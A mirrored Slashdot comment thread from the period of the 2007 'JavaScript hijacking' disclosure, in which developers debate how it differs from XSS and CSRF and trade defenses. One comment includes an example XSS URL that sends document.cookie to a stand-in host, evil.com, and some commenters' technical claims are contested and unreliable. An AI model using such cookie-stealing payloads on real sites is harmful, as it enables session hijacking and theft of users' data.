Slashdot Mirror


Web 2.0 Under Siege

Robert writes "Security researchers have found what they say is an entirely new kind of web-based attack, and it only targets the Ajax applications so beloved of the 'Web 2.0' movement. Fortify Software, which said it discovered the new class of vulnerability and has named it 'JavaScript hijacking', said that almost all the major Ajax toolkits have been found vulnerable. 'JavaScript Hijacking allows an unauthorized attacker to read sensitive data from a vulnerable application using a technique similar to the one commonly used to create mashups'"

170 comments

  1. XSS by Anonymous Coward · · Score: 2, Interesting

    So, how is this different than Javascript injection or Cross-site Scripting?

    1. Re:XSS by KDan · · Score: 5, Informative

      I think the very subtle difference is that this time the calls are made using site A's public Ajax API, using site A's authentication token, but are made from a script sitting on site B. The javascript calls return with data from site A, which can then be handled by site B. XSS/JS Injection is more about injecting alien javascript onto site A to make site A call site B with the info it wants.

      Daniel

      --
      Carpe Diem
    2. Re:XSS by Cigarra · · Score: 3, Informative

      So, how is this different than Javascript injection or Cross-site Scripting? It is not. They just HAD to make it to Slashdot's front page.
      --
      I don't have a sig.
    3. Re:XSS by Anonymous Coward · · Score: 1, Interesting

      Regarding regular XSS...

      XSS/JS Injection is more about injecting alien javascript onto site A ...

      OK so far.

      ... to make site A call site B with the info it wants.

      Darn, I thought it was to make site A execute code/retrieve infos from the user's system, not from another site :(

      Would you care to develop a little bit?

    4. Re:XSS by Anonymous Coward · · Score: 2, Informative

      This attack seems to be more like CSRF than XSS. You have authenticated to site A, you have a cookie to site A, you navigate to site B. In CSRF, site B performs a hidden form post to update and change information on your account. In this attack, site B performs cross site AJAX calls to steal, update, or change information on your account.

      --Anonymous Coward

    5. Re:XSS by KDan · · Score: 4, Informative

      Sorry, I was writing this in a rush. I meant site A executes the code that was injected, retrieves the resulting data from site A, and then sends that data over to site B (or some other location). Typically this "data" is stuff like login information...

      Daniel

      --
      Carpe Diem
    6. Re:XSS by Anonymous Coward · · Score: 0

      So this is a 'man in the middle' attack using the native source-blindness of JSON data?

    7. Re:XSS by Jeremiah+Cornelius · · Score: 1

      One man's mashup is another man's CSS attack. :-)

      --
      "Flyin' in just a sweet place,
      Never been known to fail..."
    8. Re:XSS by jimbojw · · Score: 1

      The article makes reference to Fortify Software having "said" that they found this vulnerability. Does anyone have a link to their actual announcement?

    9. Re:XSS by Bogtha · · Score: 2, Funny

      Here. For future reference:

      1. Throw the words "Fortify Software" at Google.
      2. Click on the first link.
      3. Click on the prominent link in the middle of their home page.

      It's really not that hard to find details. All you really need is the ability to operate a web browser, a search engine, and about thirty seconds of your time.

      --
      Bogtha Bogtha Bogtha
    10. Re:XSS by Rastafario · · Score: 1

      I don't see this vulnerability being any different than your average Phishing scam. The only difference is the fact that the entire attack can happen without user's interaction. A visit to a malicious site is enough.
      I feel that the primary responsibility still sits with the user of the web application, browsing only trusted sites is the only way you can protect yourself.
      It would be nice for an AJAX developer to ensure that the users of his/her application are not vulnerable to these kind of attacks, but until the browser community secures the use of frames and iframes (which I believe are the biggest culprits here), there is not much a developers can do.
      A simple rule for the browser to follow here would be:
      A secure page loaded from a URL address can only rely on resources loaded from the same address. period.

    11. Re:XSS by hobo+sapiens · · Score: 1

      If you have ever written a web page that uses a JSON service, what is being said should make immediate sense.

      The question is, how big of a deal is this really? On one hand, you can see how it could be a huge deal if you put sensitive data in a JSON service. I have been a huge fan of AJAX for a while now, but I don't think that it should be used to make complex apps (such as eMail software) for several reasons, and this is one more reason.

      --
      blah blah blah
    12. Re:XSS by jimbojw · · Score: 1

      Ah but it only took me 10 seconds to post the question - so on the whole I'm up 20 seconds!

      No wait - it took me 10 seconds to type that ... so I'm up 10.

      Oh wait ...

    13. Re:XSS by jrumney · · Score: 1

      Not really 'man in the middle', since site B (the exploiter) is at the end of the chain. The vulnerable AJAX application is in the middle here, giving site B privileged access to site A, so more a privilege elevation attack.

    14. Re:XSS by Itchy+Rich · · Score: 1

      Another difference is that with a regular web app you'd have to insert the Javascript into multiple pages in order to have complete control over the target app. In order for there to be a danger to the user's data there'd have to be some data on the page where the Javascript was executed or you'd have to take the user to a custom-built phishing site to get them to enter their data for you. With an app written entirely in Javascript you'd only have to get your code executed once, and/or you wouldn't have to build a replica site.

  2. Vocabulary Fix by Nerdfest · · Score: 3, Funny

    Sadly, this is likely to do very little to stop the use of the word 'mashups'.

    1. Re:Vocabulary Fix by omeomi · · Score: 0, Offtopic

      The only use of the term Mashup that I'm familiar with is the music-oriented one...I guess the "web 2.0" crowd needed another catchy buzzword. Hooray.

    2. Re:Vocabulary Fix by Seumas · · Score: 1

      Or web 2.0.
      Or AJAX.

      Really, let it be the death of both. Too bad it's a couple years too late.

    3. Re:Vocabulary Fix by MikeFats · · Score: 3, Funny

      You're right - who doesn't yearn for the good old Pine and Gopher days? I spit on you AJAX and Web 2.0.

    4. Re:Vocabulary Fix by Gilmoure · · Score: 1

      I was wondering what this exploit had to do with the Pirates of Penzance crew singing that Baby Got Back song.

      --
      I drank what? -- Socrates
    5. Re:Vocabulary Fix by omeomi · · Score: 1

      Yeah, I'm somewhat disappointed that I got modded down for my comment...the adoption of new "web 2.0" oriented buzzwords is out of control...

    6. Re:Vocabulary Fix by Anonymous Coward · · Score: 0

      Cheer up.

      In no time soon these buzz words will be disremembered.

  3. Okay, I'll be the first to ask. by Z0mb1eman · · Score: 5, Insightful

    How is this different from cross-site scripting?

    "In an example attack, a victim who has already authenticated themselves to an Ajax application, and has the login cookie in their browser, is persuaded to visit the attacker's web site. This web site contains JavaScript code that makes calls to the Ajax app. Data received from the app is sent to the attacker."

    --
    ClutterMe.com - easiest site creation on the Net. Just click and type.
    1. Re:Okay, I'll be the first to ask. by daviddennis · · Score: 5, Informative

      This is much harder to protect against than normal XSS. Why? Because the Ajax does not have to be executed from within the same domain.

      Let's say someone wants to attack my site, amazing.com. I browse to their site, remarkable.com, and the exploit code gets loaded into my browser. Remarkable.com can post to amazing.com using AJAX and receive replies as though they were authenticated on my site, because the browser automatically sends the amazing.com cookies with it when accessing an amazing.com URL. It appears to the browser fundamentally as though I was in remarkable.com and then typed the amazing.com URL on to the address bar.

      (Of course you could spoof the referer but not from an existing browser session so I think the referer can be relied on in this context.)

      If this is so, then it could truly be a throbbing migraine to fix - you would have to use the HTTP referer field to verify that the site calling your Ajax code was valid.

      Hope that helps. Not the cheeriest news this morning :-(, but hopefully Prototype will have some kind of fix, and life will go on.

      D

    2. Re:Okay, I'll be the first to ask. by Anonymous Coward · · Score: 2, Informative

      My thought exactly. More specifically, this sounds like a CSRF attack ( http://en.wikipedia.org/wiki/Cross-site_request_fo rgery ).

      Such an attack previously succeeded on Digg (in the form of a white-hat demonstration of a self-Digging website), but that vulnerability has already been patched. The description of the demo attack, which they also refer to as "session riding," is available here: http://4diggers.blogspot.com/

    3. Re:Okay, I'll be the first to ask. by michaelmalak · · Score: 2, Insightful

      Cross-site scripting allows a web page browsed by a socially engineered victim to be transmitted to the culprit. JavaScript hijacking is more powerful -- it allows arbitrary data stored on a server (e.g. an entire address book or even all of a user's e-mail on a webmail system) to be transmitted to the culprit.

    4. Re:Okay, I'll be the first to ask. by Bogtha · · Score: 4, Informative

      No, that kind of thing has always been possible since the very first implementation of JavaScript. If you don't need POST, then you can even do it with plain HTML 2.0, no JavaScript.

      The problem here is that JSON is a subset of JavaScript and so it is automatically parsed under the local domain's security context when it's included in a document with <script>. There's a few tricks to "hide" it even though it's already been parsed and is sitting in memory, I assume these guys have found a way around that.

      --
      Bogtha Bogtha Bogtha
    5. Re:Okay, I'll be the first to ask. by kestasjk · · Score: 1

      XSS is a vague term, but lots of people would put "JavaScript hijacking" under the same umbrella as XSS. Your typical XSS attack involves injecting JavaScript into the target domain (this may involve social engineering the victim into going to a url which will inject the JavaScript, eg http://friendly.com/?var=image.src='http://evil.co m/'+document.cookie ).

      If you can inject the JavaScript needed to do this you can usually also get it to read webmail etc. I won't repeat the things given by others that distinguish the attack posted in TFA from a regular XSS attack.

      --
      // MD_Update(&m,buf,j);
    6. Re:Okay, I'll be the first to ask. by joshua · · Score: 1

      I agree, I can't see what the difference is between this and CSRF.

    7. Re:Okay, I'll be the first to ask. by uss_valiant · · Score: 0

      This is no news and your next best AJAX implementation is only affected if they deliberately allow cross-domain calls.

      As far as I understand this article - and it's very short on details - this only affects AJAX APIs / apps that are designed to be called from other domains.
      Usually, an AJAX reply just contains data (XML, JSON, or in another format). But if the reply is actually valid JS, e.g. a callback function, you can include it via the script tag and call the returned callback function to read the cross-domain JS reply in JS and do something with it.
      See here or here.

      Bottom line: Don't expose any data / functionality through an API that allows cross-domain XHR unless you add additional precautions.

    8. Re:Okay, I'll be the first to ask. by consumer · · Score: 2, Interesting

      Checking the referer header is ultimately going to fail because it would mean trusting the client to not lie about the referer. There are some better techniques described in the Wikipedia XSRF entry.

    9. Re:Okay, I'll be the first to ask. by Bogtha · · Score: 4, Informative

      this only affects AJAX APIs / apps that are designed to be called from other domains.

      No, that's the vulnerability. This allows other domains to get the data when the applications don't want to share it.

      Bottom line: Don't expose any data / functionality through an API that allows cross-domain XHR unless you add additional precautions.

      The news here is that the "additional precautions" that most Ajax libraries take are ineffective.

      --
      Bogtha Bogtha Bogtha
    10. Re:Okay, I'll be the first to ask. by sottovoce · · Score: 1

      This exploit is different from XSS and is not new. It's called CSRF, Cross-Site Request Forgery. Web developers have known about it for several years. It's tricky to understand and potentially very dangerous, but there are remedies.

      Because the problem and remedies are somewhat abstruse, casual or uninformed developers don't always take it into consideration. I'm actually a little surprised that the vast majority of commentators here seem to be unaware of it.

      References:
      http://getahead.org/blog/joe/2007/01/01/csrf_attac ks_or_how_to_avoid_exposing_your_gmail_contacts.ht ml
      http://en.wikipedia.org/wiki/Cross-site_request_fo rgery
      http://www.tux.org/~peterw/csrf.txt (from 2001!)

    11. Re:Okay, I'll be the first to ask. by uss_valiant · · Score: 1

      this only affects AJAX APIs / apps that are designed to be called from other domains.

      No, that's the vulnerability. This allows other domains to get the data when the applications don't want to share it.

      Bottom line: Don't expose any data / functionality through an API that allows cross-domain XHR unless you add additional precautions.

      The news here is that the "additional precautions" that most Ajax libraries take are ineffective.

      Where did you read this in the article? The article has no details. Or do you have another source?
    12. Re:Okay, I'll be the first to ask. by MagicM · · Score: 1

      +1 Insightful

      If your AJAX implementation simply returns JSON data ({json}), there is nothing to worry about. However, if something like "parseData({json})" or "data={json}" is returned (either naively, or on purpose to support cross-domain calls), then you are vulnerable.

      Makes me wonder what exactly these vulnerable AJAX toolkits are doing, and why.

    13. Re:Okay, I'll be the first to ask. by Bogtha · · Score: 1

      Where did you read this in the article? The article has no details.

      Are we reading the same article? It lists vulnerable Ajax libraries. It uses GMail and webmail in general as examples of potentially vulnerable web applications. GMail and typical webmail applications aren't designed to be called from other domains in mashups.

      Or do you have another source?

      Here's the advisory (PDF). They override the Object() constructor before calling the JSON so they can capture the data without worrying about scope.

      --
      Bogtha Bogtha Bogtha
    14. Re:Okay, I'll be the first to ask. by Bogtha · · Score: 1

      If your AJAX implementation simply returns JSON data ({json}), there is nothing to worry about.

      This isn't true. The example they use is overriding the Object() constructor. Keeping the JSON out of scope doesn't save you.

      --
      Bogtha Bogtha Bogtha
    15. Re:Okay, I'll be the first to ask. by MagicM · · Score: 1

      Who is "they", and where do they use that example?

      (Not questioning what you said, I just want to learn more.)

    16. Re:Okay, I'll be the first to ask. by MagicM · · Score: 1

      Never mind. I noticed the other comment you posted in which you provide the URL. Thanks!

    17. Re:Okay, I'll be the first to ask. by penfern · · Score: 1

      Alright. Let's look at it a different way. Cookies are assumed private to the "web application", but really only private to the "domain", and with the current broswers/javascript, they aren't even private then.

      So is there a way to make cookies truly private to the "web application". So when I actually launch the "web application" "gmail.com" I give that application access to it's private cookie data. If another application tries to access those cookies I would have to grant it access..

      How about something like that?

      Basically a tighter security model for client-side data. It sounds more like it should be more like Java Webstart. My guess is that Firefox 3.0, with their renewed focus on treating these "web applications" like real the real applications that they are, will have to deal with many of these security/data model questions...

      Thoughts?

    18. Re:Okay, I'll be the first to ask. by uss_valiant · · Score: 2, Informative

      Just read the original advisory. TFA didn't link to it.

      You're right, they're right. It's from March 12th, 2007 and it's a different issue than the one I mentioned before.
      Putting the JSON data into comment tags or Google's while() approach sound like good defense mechanisms.
      Also, using auth tokens in addition to cookies can defeat most scenarios as well (just ensure not to return a valid auth token in any replies that don't require a valid auth token already).

    19. Re:Okay, I'll be the first to ask. by CoughDropAddict · · Score: 1

      Checking the referer header is ultimately going to fail because it would mean trusting the client to not lie about the referer.

      In this case the client is the victim. Why would a client spoof Referer in order to attack itself?

      It's not perfect, but Referer checking should cover nearly all attacks of this sort.

    20. Re:Okay, I'll be the first to ask. by Spydr · · Score: 1

      It's very similar, but slightly different in how it works.

      See http://en.wikipedia.org/wiki/Cross-site_request_fo rgery

    21. Re:Okay, I'll be the first to ask. by MagicM · · Score: 1

      Overriding the Object() constructor to do what they did is currently not possible in all browsers, due to the need for "setter" functions. However, since this is now part of JavaScript 1.5, I'm assuming all browsers will have this feature sooner or later. Also, overriding using "function Object" or even "Object.prototype.constructor" currently does not appear to be possible in all browsers. Regardless, the concept of overriding the constructor is valid and in Firefox it's even possible right now.

      I like Google's "while(1)" approach. A simpler way may be to include "//" as the first two characters. Any JSON object should become un-parseable if the first bracket (plus maybe more) is commented out.

    22. Re:Okay, I'll be the first to ask. by consumer · · Score: 1

      Many browsers allow JavaScript to set the document.referrer property.

    23. Re:Okay, I'll be the first to ask. by hobo+sapiens · · Score: 1

      AJAX allows you to create service oriented applications (SOA). The JSON, XML, etc is a service. Which means that conceivably anyone could access it. It's by design. That's why someone insightfully said "One man's attack is another man's mashup". I don't think it's a huge deal, but I can see where this could get you in trouble if you are serving private data via JSON.

      I wonder if there's a way to make the service read the cookie from the calling website? Maybe that's the fix that prototype and others are putting in?

      --
      blah blah blah
    24. Re:Okay, I'll be the first to ask. by jkauzlar · · Score: 1

      So, I have an honest query for someone who seems knowledgeable about this... does this mean *all* use of AJAX is susceptible to this form of attack or just certain uses.. and in the case of the latter, then what is safe and what is not?

    25. Re:Okay, I'll be the first to ask. by Anonymous Coward · · Score: 0

      WTF is a mashup? Sounds like something you'd do with potatoes.

    26. Re:Okay, I'll be the first to ask. by Anonymous Coward · · Score: 0

      Great, thanks.

    27. Re:Okay, I'll be the first to ask. by nahdude812 · · Score: 1

      Even if so it wouldn't affect the HTTP request referrer header.

      Better than this is for the server to give the real page request a random token that is unique per session and which it uses for its ajax calls to verify that it's legitimate. The malicious website would have to guess or otherwise intercept which token had been sent. Remember, only the cookies are sent with the call, and the malicious site can't read the cookies, they can only use them. EvilSite.com site wouldn't be able to access other page variables and so would have no way to reproduce the auth token.

  4. XSRF by Anonymous Coward · · Score: 2, Interesting

    How is this different than Cross Site Response Forgery?

    http://en.wikipedia.org/wiki/Cross-site_request_fo rgery

    1. Re:XSRF by Anonymous Coward · · Score: 0

      +1
      Sounds like XSRF. Of course you need to include auth tokens (active auth + cookie) in your AJAX requests.
      Just because the request is sent to an AJAX handler doesn't mean you can drop XSRF protection used for other change requests.

    2. Re:XSRF by Qzukk · · Score: 1

      It seems like the difference between this and XSRF is that this actually uses the results returned from the site, while "standard" XSRF was just hitting www.myspace.com/friend.php?addfriend=imlonely in an img tag or somewhere. ... in other words, it's just as new as "... on the internet!"

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    3. Re:XSRF by Anonymous Coward · · Score: 0

      The article is lacking details or a clear technical description.
      We can theorize all day long, but fact is, there is no proof of concept and today's assumption is that xmlhttprequest can't be used to send requests to other domains.

      I don't worry until I see a proof of concept or a more detailed description.

  5. quick! by mastershake_phd · · Score: 5, Funny

    Upgrade to Web 3.0, quick!

    1. Re:quick! by Anonymous Coward · · Score: 0

      Microsoft already patented that. Unless you're using Windows Server 2003 or Novell SUSE you're fucked.

    2. Re:quick! by tfinniga · · Score: 1

      Pfft. Old news.

      --
      Powered by Web3.5 RC 2
    3. Re:quick! by Anonymous Coward · · Score: 0

      If Web 2.0 is truly under siege then only Steven Seagal will be able to help us.

    4. Re:quick! by Anonymous Coward · · Score: 0

      Damn I didn't upgrade fast enough. Now my app is hacked. Morfik is gonna fire me for sure.

  6. Hunt them down and kill them by sycodon · · Score: 0, Flamebait

    ...every last punkwad that attacks someone's computer systems for fun or profit.

    --
    When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
  7. Duh by evil_Tak · · Score: 3, Informative

    This has been around for (web) ages. As stated in the summary, it's used all over the place to create mashups because it's one of the only ways around the security requirement that XmlHttpRequest can only talk to the originating server.

  8. Web 2.0 SP1? (n/t) by Mateo_LeFou · · Score: 1

    no text I said.

    --
    My turnips listen for the soft cry of your love
  9. Mashups? by Rob+T+Firefly · · Score: 5, Funny

    'JavaScript Hijacking allows an unauthorized attacker to read sensitive data from a vulnerable application using a technique similar to the one commonly used to create mashups'
    So back when I made the Beastie Boys rap over the Macarena tune, I was really hacking the Web 2.0? And here I thought I was just assaulting eardrums and good taste...
    1. Re:Mashups? by Any+Web+Loco · · Score: 1

      Genius! Thanks very much - I LOVED that!

  10. Does this mean... by zappepcs · · Score: 2, Funny

    that we can sue Morfik? /sarcasm

  11. Where's the problem? by pimterry · · Score: 5, Interesting

    "In an example attack, a victim who has already authenticated themselves to an Ajax application, and has the login cookie in their browser, is persuaded to visit the attacker's web site. This web site contains JavaScript code that makes calls to the Ajax app. Data received from the app is sent to the attacker."

    So essentially it means that the attacker can use the authentication cookie of the user to authenticate them again, and then run javascript with that authentication. But why are AJAX apps storing authentication in cookies? If you need to store authentication (User session id's etc), store them in a variable within the javascript. That'll stay there until a page refresh clears variable status, and how many page refreshes occur with AJAX?

    AJAX apps do not need to (and should not!) store user authentication in cookies. Cookies are useful for keeping a continual session open between pages. AJAX needs no continual session. If they don't use cookies, then other sites cannot use that authentication.

    Where's the problem? (What am i missing?)

    PimTerry

    1. Re:Where's the problem? by TheSunborn · · Score: 3, Informative

      The problem is your statement that "AJAX needs no continual session"

      AJAX really do need sessions. Just think of Gmail. It it a single AJAX session starting when you login, and finishing when you logout or timeout.

      If AJAX don't use sessions, it would have to authenticate itself with username and password with each request it made to the server.

      An better solution might be to let the AJAX application explicit handle sessions by storing the session id, and sending it in the post part of all it's requests. But that might be a problem with the browsers history, because it would then loose your session id, if you used the back button.

    2. Re:Where's the problem? by daeg · · Score: 1

      Why would it need to reauthenticate with each AJAX request? You can easily just append the session token to the end of your POST (or GET) requests. It goes over the wire in cleartext anyway. All AJAX apps should be using SSL anyway.

      You don't run into this specific problem if you do that. New windows with the same domain name (e.g., gmail.com) don't share the same memory as the original window, thus it won't have the authentication token, and won't have the active cookie, either.

    3. Re:Where's the problem? by ergo98 · · Score: 2, Informative

      But why are AJAX apps storing authentication in cookies? If you need to store authentication (User session id's etc), store them in a variable within the javascript.

      Store then in javascript? Huh?

      It is completely normal -- across the entire industry -- to store session identifiers in cookies. There is nothing special or AJAXy about that.
    4. Re:Where's the problem? by pimterry · · Score: 1

      "An better solution might be to let the AJAX application explicit handle sessions by storing the session id, and sending it in the post part of all it's requests."

      That's what I meant :).

      All cookies are are files with text in that identifies you session. Since the JS checks the cookies not the server, any request must include data to validate the session anyways. Think about it, you go to a page it generates a cookies with you session auth data in it. The javascript then requests appointment data for user X. The javascript MUST be including some sort of validation data, or otherwise the server will just be giving out this data to anybody who requests it, and assuming the javascript has checked the cookie. AJAX can just store it in the javascript, rather than reading it from the cookie every request. It's the same stored session data (or it can be), its just stored in a javascript variable rather than a cookie.

      I can prove it :D. Install the Firebug extension https://addons.mozilla.org/en-US/firefox/addon/184 3 into firefox and click console. It shows AJAX requests including parameters. All of them have a session identifier of some sort. For example I just tried Gmail, you get a 16 character SID (session id presumably) paramater send with every request.

      In summary, hell is in the cookies.

    5. Re:Where's the problem? by pimterry · · Score: 1

      var SessionID = "asdaszxc2130123ashsad";

      Stored.

      sendRequest("type='appointmentList'&SID="+SessionI D);

      Requested (+ auth)

      Cookies complicate this. You only need them to keep data when moving between pages. But you're not moving between pages!

      It's like storing stuff on HDD so it's still there next boot, vs saving to RAM. Sort of.

      PimTerry.

    6. Re:Where's the problem? by Anonymous Coward · · Score: 0

      > You can easily just append the session token to the end of your POST (or GET) requests.

      Appending the session ID to URLs you return opens you up to the simplest XSS attack of all: any link to the exploiter will hands the session ID to the attacker. It doesn't even need to be a page.

      Storing it in a variable is all right, but people do hit the refresh button, so you have to give it a way to re-authenticate without requiring a new login.

    7. Re:Where's the problem? by misleb · · Score: 1

      So essentially it means that the attacker can use the authentication cookie of the user to authenticate them again, and then run javascript with that authentication. But why are AJAX apps storing authentication in cookies? If you need to store authentication (User session id's etc), store them in a variable within the javascript. That'll stay there until a page refresh clears variable status, and how many page refreshes occur with AJAX?


      Well, for one thing, AJAX isn't an all or nothing deal. Many sites/apps just use ajax for certain features where otherwise it is a regular website. Sure, there are some pure "AJAX apps" like gmail out there, but the vast majority of AJAX being used is just for little bits of functionality. In this case, storing the authentication in a javascript variable is going to be a big pain in the butt for users.

      AJAX apps do not need to (and should not!) store user authentication in cookies. Cookies are useful for keeping a continual session open between pages.


      Cookies keep continual session between any kind HTTP of request, not just "pages."

      -matthew
      --
      "THERE IS NO JUSTICE, THERE IS ONLY ME." -Death
    8. Re:Where's the problem? by pnaro · · Score: 1

      Once a user validates into my ajaxy apps, their PHP Session Id, IP and other info is stored in a database record for the duration of the session. I validate against that on every page load. If any one piece of info is out of place, they get kicked. That, and SSL is your friend.

      Never store important information in cookies!

      --
      If we can't fix it, we'll fix it so nobody else can!
    9. Re:Where's the problem? by QuoteMstr · · Score: 1

      That's going to fail miserably for AOL users at least --- the same user session can result in requests from many different proxies, each with a different IP address.

      Also, the "PHP session ID" _is_ stored in a cookie. How else would it work?

    10. Re:Where's the problem? by hobo+sapiens · · Score: 1

      If you need to store authentication (User session id's etc), store them in a variable within the javascript.

      So what then, you pass the userid, sessionid, etc via the querystring? I don't that is making things more secure.

      The problem here is that at some point the service has to cough up the data to the caller. If the caller has malicious intent, then what can you do? Meditate on this, I shall. That, or wait for prototype to fix it.
      --
      blah blah blah
    11. Re:Where's the problem? by pnaro · · Score: 1

      I haven't have issues with AOL since the 90s. I know I mentioned IPs, but I also pull the browser type and other info I can query against in my validation functions.

      I agree the PHP My point was that while the session Id is stored via a cookie all validation is against the database on the server. Cookies/sessions are a nice convenience, but I would never store anything of value there.

      --
      If we can't fix it, we'll fix it so nobody else can!
    12. Re:Where's the problem? by Anonymous Coward · · Score: 0

      Why not just store the session information within a server-side session variable (eg PHP's $_SESSION[''])? I mean each Ajax page is just a call to another page or script within the site, make sure that each of those pages/sites have sessions enabled.

  12. Shirky's Law: by sakusha · · Score: 4, Interesting

    "Social Software is stuff that gets spammed."

    The obvious implication of Shirky's Law is that Web 2.0 services are an attractive nuisance and give spammers and other griefers an incentive to game the system. Any new web service has to account for this and build in extremely high levels of security. Obviously nobody is doing this.

    1. Re:Shirky's Law: by astronouth7303 · · Score: 1

      I would consider Facebook's level of security pretty high. You can't get information on people or post comments without them first contacting you (either by reply or out of the blue). There are no extended sessions, either -- you have to login every time. This makes Facebook's software immune to this attack unless you are currently logged in.

    2. Re:Shirky's Law: by sakusha · · Score: 2, Informative

      I would consider Facebook's level of security pretty high.

      Riiight. Facebook is absolutely secure and immune from security problems and spam because of their preventative measures.
  13. Is that title sarcastic? by jeevesbond · · Score: 3, Insightful
    I really hope it is. There's no such thing as Web 2.0, some arse decided to put a label on the natural progression the Web was undertaking anyway. It's annoying when authors write that some entirely new, completely re-written version of the Web is--suprisingly--vulnerable, it's the same old Web, just with some new buzz-words.

    This is a vulnerability that appears only when passing Javascript between client and server. An attacker has to get a potential-victim who is logged-in to a site, that uses the JSON format to exchange data using AJAX, to visit a page they've setup. Then the attacker can intercept the data as it travels between client and server, a man in the middle attack. From the article:

    In an example attack, a victim who has already authenticated themselves to an Ajax application, and has the login cookie in their browser, is persuaded to visit the attacker's web site. This web site contains JavaScript code that makes calls to the Ajax app. Data received from the app is sent to the attacker.

    So it's a known method of attack, but because it's aimed at web sites using AJAX it has to be labelled 'Web 2.0'. Ugh.
    --
    I'm going to transform myself into a mighty hawk. Either that or I'll just go and work at Dixons, haven't decided yet.
  14. We've already seen this before by slashkitty · · Score: 4, Interesting
    It was reported as a problem with the google address book. These guys just generalized the problem because they saw it in many places.

    It actually could be pretty nasty. I think the only solution is for you to pass authenticated tokens through the url or input parameters (not through cookies).

    It might be a good time to use the firefox NoScript plugin if you're not using it already. Only allow javascript on sites you trust.

    --
    -- these are only opinions and they might not be mine.
    1. Re:We've already seen this before by aron_wallaker · · Score: 4, Informative

      There are ways to deal with this. Joe Walker, author of Direct Web Remoting (DWR), talks about the GMail problem and ways to solve it:

      http://getahead.org/blog/joe/2007/01/01/csrf_attac ks_or_how_to_avoid_exposing_your_gmail_contacts.ht ml

      Of course, DWR 2.0 will have all this goodness built in. :)

    2. Re:We've already seen this before by tedgoddard · · Score: 1

      ICEfaces uses XML for encoding page updates, so is not vulnerable to JavaScript hijacking, but including the icefacesID along with XMLHttpRequest POST data is necessary to prevent cross site request forgery.

  15. They discovered this? by borkus · · Score: 1, Informative

    I went to an Ajax conference last fall and I'm pretty sure that presenters mentioned this vulnerability in JSON.

    All AJAX applications transfer data between the webpage in the client's browser and the server. If the data is in XML, the webpage and the XML have to come from the same server. If it's JSON (JavaScript Object Notation), then they do not have to come from the same server. So, if you are sending data that depends on some kind of authentication - don't use JSON.

    The JSON vulnerability comes from having your session open too long. Someone navigates to a bad site and it access the active session on the target site. Shorter session timeouts help with this. You can also do some authentication in the XML request as well. And don't use JSON for data that requires authentication.

    In short, if you're using AJAX for data that requires authentication, then you need to take some simple precautions.

    1. Re:They discovered this? by Anonymous Coward · · Score: 1, Insightful

      What an insightful analysis, not in the least bit impeded by being so blatantly wrong. JSON is a format.

    2. Re:They discovered this? by Anonymous Coward · · Score: 1, Informative

      All AJAX applications transfer data between the webpage in the client's browser and the server. If the data is in XML, the webpage and the XML have to come from the same server. If it's JSON (JavaScript Object Notation), then they do not have to come from the same server. So, if you are sending data that depends on some kind of authentication - don't use JSON. Uhh pardon? If I return json or I return XML, or I return pain text, or I return some format of my choice, the server requesting the script will still get the result from my server, just as if you POST'ed to a form on my site. This is the same issue as a cross site request forgery, the evil domain you are visiting is relying on the request to be validated since the cookies are set on the clients machine. All they are saying is that data returned from a ajax-script can be viewed using the same CSRF attack methods, this is NOTHING NEW. If the script requires request tokens (anything that would return sensitive information, or modify user accounts etc.), DON'T store them in cookies, or you are just as vulnerable to a "standard" CSRF attack, generate the tokens for the page and pass them in post/get.
    3. Re:They discovered this? by beppu · · Score: 1

      Please mod the parent down, because it is incorrect as the Anonymous ones have stated.

    4. Re:They discovered this? by borkus · · Score: 2, Funny

      I return pain text I so want to return pain text to certain users.

      if text_body == ALL_CAPS
              return PAIN_TEXT
    5. Re:They discovered this? by borkus · · Score: 1

      What because you can cross-site script XML? Enlighten me.

    6. Re:They discovered this? by julesh · · Score: 1

      Even if the script produces an XML result, you can still make the request using the same technique. Thus, if you have a single step method for making some potentially dangerous transaction, that transaction can be performed by an attacker. What they can't do is extract meaningful data from the result.

      All of these vulnerabilities show in my mind that the cookie model is fundamentally flawed. Cookies should not be associated with the domain of the server that set them, but the pair (, ). This would also incidentally stop cross-site "browser habit" tracking being performed by people who drop an ad banner on a page.

    7. Re:They discovered this? by borkus · · Score: 1

      Ah, so the vulnerability would existing to manipulate data on the server using the customer's credentials, not just to show/manipulate data on the client. I was thinking solely on the client side.

      Thanks - I'd give ya a +1 helpful. Maybe someone else will oblige me.

    8. Re:They discovered this? by sophiaknows · · Score: 1

      And I say Mod the parent up because he is right, and proposes a good solution. I'd say the anonymice don't understand the context in which this exploit executes. The *user's browser* initiates a requests for the file not the hacker's server. The browser will make a request for JSON across domains. The browser will not, however, make the request for XML across domains. Whatever your sever would serve it won't serve if it never gets the request.

    9. Re:They discovered this? by Anonymous Coward · · Score: 0

      "The browser will make a request for JSON across domains. The browser will not, however, make the request for XML across domains."

      How does it know what data type would be returned before it makes the request?

  16. Easy Fix by Anonymous Coward · · Score: 2, Funny

    Just serve up an animated cursor before any XML handshakes. This will stop the attackers from exploiting the AJAX piece.

  17. ...allows an unauthorized attacker... by Anonymous Coward · · Score: 0

    Is there such a thing as an authorized attacker?

    1. Re:...allows an unauthorized attacker... by Firefly1 · · Score: 1

      Yes; Tiger Teams and the OPFOR in Red Flag exercises come to mind.

      --
      - White Knight of the Order of Mihoshi Enthusiasts
  18. Enough by Luscious868 · · Score: 0, Redundant

    "Web 2.0" is a buzzword used by those in the media who do not have a background in and/or an understanding of technology. Discuss ....

    1. Re:Enough by Anonymous Coward · · Score: 3, Informative

      BBZZZT! I'll bite... "Web 2.0" is a term coined by Tim O'Reilly (of O'Reilly Media; you know, those books with the animals on the cover) as a way of classifying a new generation of web-based applications, a shift from static text and html to interactivity and user-participation in creating the content of a site. The media picked up on it later and gave it buzzwordyness. People who do not have a background in and/or an understanding of technology assume that the media made it up.

    2. Re:Enough by illegalcortex · · Score: 1

      You should get the stick out of your ass. Discuss... ;)
      Seriously, when they said Web 2.0, I knew what they were talking about (it's the "Under Seige" part that I felt was dumb). I knew they were talking about javascript and XMLHttpRequest stuff that is frequently called AJAX (another term which some people whine about). Do you even know what a buzzword is? It's something you add to a product because it's popular. Like "object oriented" or "xml" when it's irrelevant to the actual functioning of the product. On the other hand Web 2.0/AJAX defines web applications that function in quite a different manner than non Web 2.0/AJAX ones.

    3. Re:Enough by aaronoaxaca · · Score: 1

      A buzzword that well goes over very well with prospective clients these days, especially since you can tailor your definition to your clients desires due to the lack of an "official" description of the technology web 2.0 embraces and the new use models it allows.

      --
      Aaron Miller

      Aaron Miller Computers

